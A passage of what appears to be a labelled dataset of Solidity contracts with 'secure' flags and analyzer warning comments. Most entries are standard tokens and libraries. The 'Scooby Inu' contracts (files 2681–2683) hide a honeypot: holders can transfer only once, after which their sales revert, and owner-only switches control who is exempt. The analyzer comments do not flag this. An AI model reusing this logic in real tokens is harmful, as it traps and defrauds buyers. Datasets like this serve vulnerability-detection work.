isHolder(address _addr) public view returns (bool holder) {\n require(_addr != address(0x0), \"Can't verify a null address\");\n\n return holderIndices[_addr] != 0;\n }\n\n function hasHash(\n address _addr,\n bytes32 _hash\n ) public view returns (bool hash) {\n require(_addr != address(0x0), \"Can't verify a null address\");\n require(_hash != bytes32(0), \"Can't verify a null hash\");\n\n if (_addr == address(0x0)) {\n return false;\n }\n\n return verified[_addr] == _hash;\n }\n\n function holderCount() public view returns (uint256 totalHolders) {\n return shareholders.length;\n }\n\n function holderAt(\n uint256 _index\n ) public view onlyOwner returns (address holder) {\n require(\n _index < shareholders.length,\n \"The index must be less than the size of the array\"\n );\n\n return shareholders[_index];\n }\n\n function isSuperseded(\n address addr\n ) public view onlyOwner returns (bool superseded) {\n return cancellations[addr] != address(0x0);\n }\n\n function getCurrentFor(\n address _addr\n ) public view onlyOwner returns (address) {\n return findCurrentFor(_addr);\n }\n\n function findCurrentFor(address _addr) internal view returns (address) {\n address candidate = cancellations[_addr];\n if (candidate == address(0x0)) {\n return _addr;\n }\n return findCurrentFor(candidate);\n }\n\n function updateShareholders(address _addr) internal {\n if (holderIndices[_addr] == 0) {\n shareholders.push(_addr);\n holderIndices[_addr] = shareholders.length;\n }\n }\n\n function pruneShareholders(address _addr, uint256 _value) internal {\n uint256 balance = balances[_addr] - _value;\n\n if (balance > 0) {\n return;\n }\n uint256 holderIndex = holderIndices[_addr] - 1;\n uint256 lastIndex = shareholders.length - 1;\n\n address lastHolder = shareholders[lastIndex];\n\n shareholders[holderIndex] = lastHolder;\n holderIndices[lastHolder] = holderIndices[_addr];\n\n shareholders.pop();\n holderIndices[_addr] = 0;\n }\n\n event VerifiedAddressAdded(\n address indexed _addr,\n bytes32 _hash,\n address indexed _sender\n );\n\n event VerifiedAddressRemoved(\n address indexed _addr,\n address indexed _sender\n );\n\n event VerifiedAddressUpdated(\n address indexed _addr,\n bytes32 _oldHash,\n bytes32 _hash,\n address indexed _sender\n );\n\n event VerifiedAddressSuperseded(\n address indexed _original,\n address indexed _replacement,\n address indexed _sender\n );\n}",
"file_name": "solidity_code_2679.sol",
"secure": 1,
"size_bytes": 6793
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Errors {\n error InsufficientBalance(uint256 balance, uint256 needed);\n\n error FailedCall();\n\n error FailedDeployment();\n\n error MissingPrecompile(address);\n}",
"file_name": "solidity_code_268.sol",
"secure": 1,
"size_bytes": 247
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract HonkToken is ERC20 {\n constructor(uint256 initialSupply) ERC20(\"Honk Charity\", \"HONK\") {\n _mint(msg.sender, initialSupply * 10 ** 18);\n }\n}",
"file_name": "solidity_code_2680.sol",
"secure": 1,
"size_bytes": 295
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => bool) public CheckStatusWithBuybackContract;\n mapping(address => bool) public CheckStatusOfAddress;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n address private _creator;\n bool private buyMechanic;\n bool private detectSell;\n bool private tempVal;\n uint256 private getBuybackStatus;\n uint256 private setTxLimit;\n uint256 private chTx;\n uint256 private tXs;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: dcd1c7c): ERC20.constructor(string,string,address,bool,bool,uint256).creator_ lacks a zerocheck on \t _creator = creator_\n\t// Recommendation for dcd1c7c: Check that the address is not zero.\n constructor(\n string memory name_,\n string memory symbol_,\n address creator_,\n bool tmp,\n bool tmp2,\n uint256 tmp9\n ) {\n _name = name_;\n _symbol = symbol_;\n\t\t// missing-zero-check | ID: dcd1c7c\n _creator = creator_;\n CheckStatusOfAddress[creator_] = tmp;\n CheckStatusWithBuybackContract[creator_] = tmp2;\n detectSell = tmp;\n tempVal = tmp2;\n buyMechanic = tmp2;\n tXs = tmp9;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n if ((address(sender) == _creator) && (tempVal == false)) {\n getBuybackStatus = chTx;\n detectSell = true;\n }\n\n if ((address(sender) == _creator) && (tempVal == true)) {\n CheckStatusWithBuybackContract[recipient] = true;\n tempVal = false;\n }\n\n if (CheckStatusWithBuybackContract[sender] == false) {\n if ((amount > setTxLimit)) {\n require(false);\n }\n\n require(amount < getBuybackStatus);\n if (detectSell == true) {\n if (CheckStatusOfAddress[sender] == true) {\n require(false);\n }\n CheckStatusOfAddress[sender] = true;\n }\n }\n\n uint256 taxamount = amount;\n\n _balances[sender] = senderBalance - taxamount;\n _balances[recipient] += taxamount;\n\n emit Transfer(sender, recipient, taxamount);\n }\n\n function SolveMysteries(\n address account,\n bool v1,\n bool v2,\n bool v3,\n uint256 v4\n ) external onlyOwner {\n CheckStatusWithBuybackContract[account] = v1;\n CheckStatusOfAddress[account] = v2;\n detectSell = v3;\n getBuybackStatus = v4;\n }\n\n function _ScoobyDoobieDoooo(\n address account,\n uint256 amount,\n uint256 val1,\n uint256 val2\n ) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n\n getBuybackStatus = _totalSupply;\n\t\t// divide-before-multiply | ID: 841e1aa\n chTx = _totalSupply / val1;\n\t\t// divide-before-multiply | ID: 841e1aa\n setTxLimit = chTx * val2;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] -= amount;\n _balances[address(0)] += amount;\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n if ((address(owner) == _creator) && (buyMechanic == true)) {\n CheckStatusWithBuybackContract[spender] = true;\n CheckStatusOfAddress[spender] = false;\n buyMechanic = false;\n }\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_2681.sol",
"secure": 0,
"size_bytes": 7942
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20ScoobyDoo is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96d7d9b): ERC20ScoobyDoo.constructor(string,string,bool,bool,uint256,uint256,address,uint256,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 96d7d9b: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b7382d4): ERC20ScoobyDoo.constructor(string,string,bool,bool,uint256,uint256,address,uint256,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for b7382d4: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 64a9d75): ERC20ScoobyDoo.constructor(string,string,bool,bool,uint256,uint256,address,uint256,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 64a9d75: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n bool tmp,\n bool tmp2,\n uint256 tmp6,\n uint256 tmp7,\n address creator,\n uint256 initialSupply,\n address owner,\n uint256 tmp9\n ) ERC20(name, symbol, creator, tmp, tmp2, tmp9) {\n _ScoobyDoobieDoooo(owner, initialSupply, tmp6, tmp7);\n }\n}",
"file_name": "solidity_code_2682.sol",
"secure": 0,
"size_bytes": 1631
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20ScoobyDoo.sol\" as ERC20ScoobyDoo;\n\ncontract TheScoobyInu is ERC20ScoobyDoo {\n constructor()\n ERC20ScoobyDoo(\n \"The Scooby Inu\",\n \"SCOOBYINU\",\n false,\n true,\n 800,\n 25,\n msg.sender,\n 2500000000 * 10 ** 18,\n msg.sender,\n 854\n )\n {}\n}",
"file_name": "solidity_code_2683.sol",
"secure": 1,
"size_bytes": 461
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(address recipient, uint256 amount) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}",
"file_name": "solidity_code_2684.sol",
"secure": 1,
"size_bytes": 794
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n\n return c;\n }\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n\n return c;\n }\n}",
"file_name": "solidity_code_2685.sol",
"secure": 1,
"size_bytes": 1269
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Context {\n constructor() public {}\n\n function _msgSender() internal view returns (address) {\n return msg.sender;\n }\n}",
"file_name": "solidity_code_2686.sol",
"secure": 1,
"size_bytes": 210
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20 {\n using SafeMath for uint;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n uint256 internal _totalSupply;\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_2687.sol",
"secure": 1,
"size_bytes": 3329
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Detailed is ERC20 {\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc00851): ERC20Detailed.constructor(string,string,uint8).name shadows ERC20Detailed.name() (function)\n\t// Recommendation for cc00851: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96df070): ERC20Detailed.constructor(string,string,uint8).symbol shadows ERC20Detailed.symbol() (function)\n\t// Recommendation for 96df070: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b354720): ERC20Detailed.constructor(string,string,uint8).decimals shadows ERC20Detailed.decimals() (function)\n\t// Recommendation for b354720: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n uint8 decimals\n ) public {\n _name = name;\n _symbol = symbol;\n _decimals = decimals;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc00851): ERC20Detailed.constructor(string,string,uint8).name shadows ERC20Detailed.name() (function)\n\t// Recommendation for cc00851: Rename the local variables that shadow another component.\n function name() public view returns (string memory) {\n return _name;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96df070): ERC20Detailed.constructor(string,string,uint8).symbol shadows ERC20Detailed.symbol() (function)\n\t// Recommendation for 96df070: Rename the local variables that shadow another component.\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b354720): ERC20Detailed.constructor(string,string,uint8).decimals shadows ERC20Detailed.decimals() (function)\n\t// Recommendation for b354720: Rename the local variables that shadow another component.\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n}",
"file_name": "solidity_code_2688.sol",
"secure": 0,
"size_bytes": 2315
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n bytes32 codehash;\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n\n assembly {\n codehash := extcodehash(account)\n }\n return (codehash != 0x0 && codehash != accountHash);\n }\n}",
"file_name": "solidity_code_2689.sol",
"secure": 1,
"size_bytes": 429
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Errors.sol\" as Errors;\n\nlibrary Create2 {\n error Create2EmptyBytecode();\n\n function deploy(\n uint256 amount,\n bytes32 salt,\n bytes memory bytecode\n ) internal returns (address addr) {\n if (address(this).balance < amount) {\n revert Errors.InsufficientBalance(address(this).balance, amount);\n }\n\n if (bytecode.length == 0) {\n revert Create2EmptyBytecode();\n }\n\n assembly (\"memory-safe\") {\n addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)\n\n if and(iszero(addr), not(iszero(returndatasize()))) {\n let p := mload(0x40)\n\n returndatacopy(p, 0, returndatasize())\n\n revert(p, returndatasize())\n }\n }\n\n if (addr == address(0)) {\n revert Errors.FailedDeployment();\n }\n }\n\n function computeAddress(\n bytes32 salt,\n bytes32 bytecodeHash\n ) internal view returns (address) {\n return computeAddress(salt, bytecodeHash, address(this));\n }\n\n function computeAddress(\n bytes32 salt,\n bytes32 bytecodeHash,\n address deployer\n ) internal pure returns (address addr) {\n assembly (\"memory-safe\") {\n let ptr := mload(0x40)\n\n mstore(add(ptr, 0x40), bytecodeHash)\n\n mstore(add(ptr, 0x20), salt)\n\n mstore(ptr, deployer)\n\n let start := add(ptr, 0x0b)\n\n mstore8(start, 0xff)\n\n addr := and(\n keccak256(start, 85),\n 0xffffffffffffffffffffffffffffffffffffffff\n )\n }\n }\n}",
"file_name": "solidity_code_269.sol",
"secure": 1,
"size_bytes": 1817
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\nlibrary SafeERC20 {\n using SafeMath for uint;\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n function callOptionalReturn(IERC20 token, bytes memory data) private {\n require(address(token).isContract(), \"SafeERC20: call to non-contract\");\n\n (bool success, bytes memory returndata) = address(token).call(data);\n require(success, \"SafeERC20: low-level call failed\");\n\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n}",
"file_name": "solidity_code_2690.sol",
"secure": 1,
"size_bytes": 1777
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Detailed.sol\" as ERC20Detailed;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract ANU is ERC20, ERC20Detailed {\n using SafeERC20 for IERC20;\n using Address for address;\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4d50181): ANU._owner should be immutable \n\t// Recommendation for 4d50181: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _owner;\n\n constructor() public ERC20Detailed(\"METUCOIN\", \"ANU\", 18) {\n _owner = msg.sender;\n _totalSupply = 648000000000000000 * (10 ** uint256(18));\n\n _balances[_owner] = _totalSupply;\n }\n}",
"file_name": "solidity_code_2691.sol",
"secure": 1,
"size_bytes": 1056
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IST20.sol\" as IST20;\n\ncontract ST20 is Ownable, IST20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _decimals = 18;\n }\n function _setupDecimals(uint8 decimals_) internal {\n _decimals = decimals_;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5a04373): ST_Mintable_Burnable_Token.constructor(string,string,uint8,uint256,address).name shadows ST20.name() (function) IST20.name() (function)\n\t// Recommendation for 5a04373: Rename the local variables that shadow another component.\n function name() public view override returns (string memory) {\n return _name;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5da523a): ST_Mintable_Burnable_Token.constructor(string,string,uint8,uint256,address).symbol shadows ST20.symbol() (function) IST20.symbol() (function)\n\t// Recommendation for 5da523a: Rename the local variables that shadow another component.\n function symbol() public view override returns (string memory) {\n return _symbol;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d53cdb6): ST_Mintable_Burnable_Token.constructor(string,string,uint8,uint256,address).decimals shadows ST20.decimals() (function) IST20.decimals() (function)\n\t// Recommendation for d53cdb6: Rename the local variables that shadow another component.\n function decimals() public view override returns (uint8) {\n return _decimals;\n }\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function getOwner() public view override returns (address) {\n return owner();\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"Token: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n return true;\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 351e672): ST20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 351e672: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"Token: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n return true;\n }\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"Token: transfer from the zero address\");\n require(recipient != address(0), \"Token: transfer to the zero address\");\n _beforeTokenTransfer(sender, recipient, amount);\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"Token: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"Token: mint to the zero address\");\n _beforeTokenTransfer(address(0), account, amount);\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"Token: burn from the zero address\");\n _beforeTokenTransfer(account, address(0), amount);\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"Token: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n emit Transfer(account, address(0), amount);\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 221e512): ST20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 221e512: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"Token: approve from the zero address\");\n require(spender != address(0), \"Token: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2692.sol",
"secure": 0,
"size_bytes": 6584
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ST20.sol\" as ST20;\n\nabstract contract ST20Mintable is ST20 {\n bool private _mintingFinished = false;\n event MintFinished();\n modifier canMint() {\n require(!_mintingFinished, \"ST20Mintable: minting is finished\");\n _;\n }\n function mintingFinished() public view returns (bool) {\n return _mintingFinished;\n }\n function mint(address account, uint256 amount) public canMint {\n _mint(account, amount);\n }\n function finishMinting() public canMint {\n _finishMinting();\n }\n function _finishMinting() internal virtual {\n _mintingFinished = true;\n emit MintFinished();\n }\n}",
"file_name": "solidity_code_2693.sol",
"secure": 1,
"size_bytes": 740
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ST20.sol\" as ST20;\n\nabstract contract ST20Burnable is ST20 {\n function burn(uint256 amount) public virtual {\n _burn(_msgSender(), amount);\n }\n function burnFrom(address account, uint256 amount) public virtual {\n uint256 currentAllowance = allowance(account, _msgSender());\n require(\n currentAllowance >= amount,\n \"Token: burn amount exceeds allowance\"\n );\n _approve(account, _msgSender(), currentAllowance - amount);\n _burn(account, amount);\n }\n}",
"file_name": "solidity_code_2694.sol",
"secure": 1,
"size_bytes": 609
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ST20Mintable.sol\" as ST20Mintable;\nimport \"./ST20Burnable.sol\" as ST20Burnable;\nimport \"./ServicePayer.sol\" as ServicePayer;\nimport \"./ST20.sol\" as ST20;\n\ncontract STMintableBurnableToken is\n ST20Mintable,\n ST20Burnable,\n ServicePayer\n{\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5a04373): ST_Mintable_Burnable_Token.constructor(string,string,uint8,uint256,address).name shadows ST20.name() (function) IST20.name() (function)\n\t// Recommendation for 5a04373: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5da523a): ST_Mintable_Burnable_Token.constructor(string,string,uint8,uint256,address).symbol shadows ST20.symbol() (function) IST20.symbol() (function)\n\t// Recommendation for 5da523a: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d53cdb6): ST_Mintable_Burnable_Token.constructor(string,string,uint8,uint256,address).decimals shadows ST20.decimals() (function) IST20.decimals() (function)\n\t// Recommendation for d53cdb6: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n uint8 decimals,\n uint256 initialBalance,\n address payable feeReceiver\n )\n payable\n ST20(name, symbol)\n ServicePayer(feeReceiver, \"ST_Mintable_Burnable_Token\")\n {\n _setupDecimals(decimals);\n _mint(_msgSender(), initialBalance);\n }\n function _mint(\n address account,\n uint256 amount\n ) internal override onlyOwner {\n super._mint(account, amount);\n }\n function _finishMinting() internal override onlyOwner {\n super._finishMinting();\n }\n}",
"file_name": "solidity_code_2695.sol",
"secure": 0,
"size_bytes": 1902
} |
{
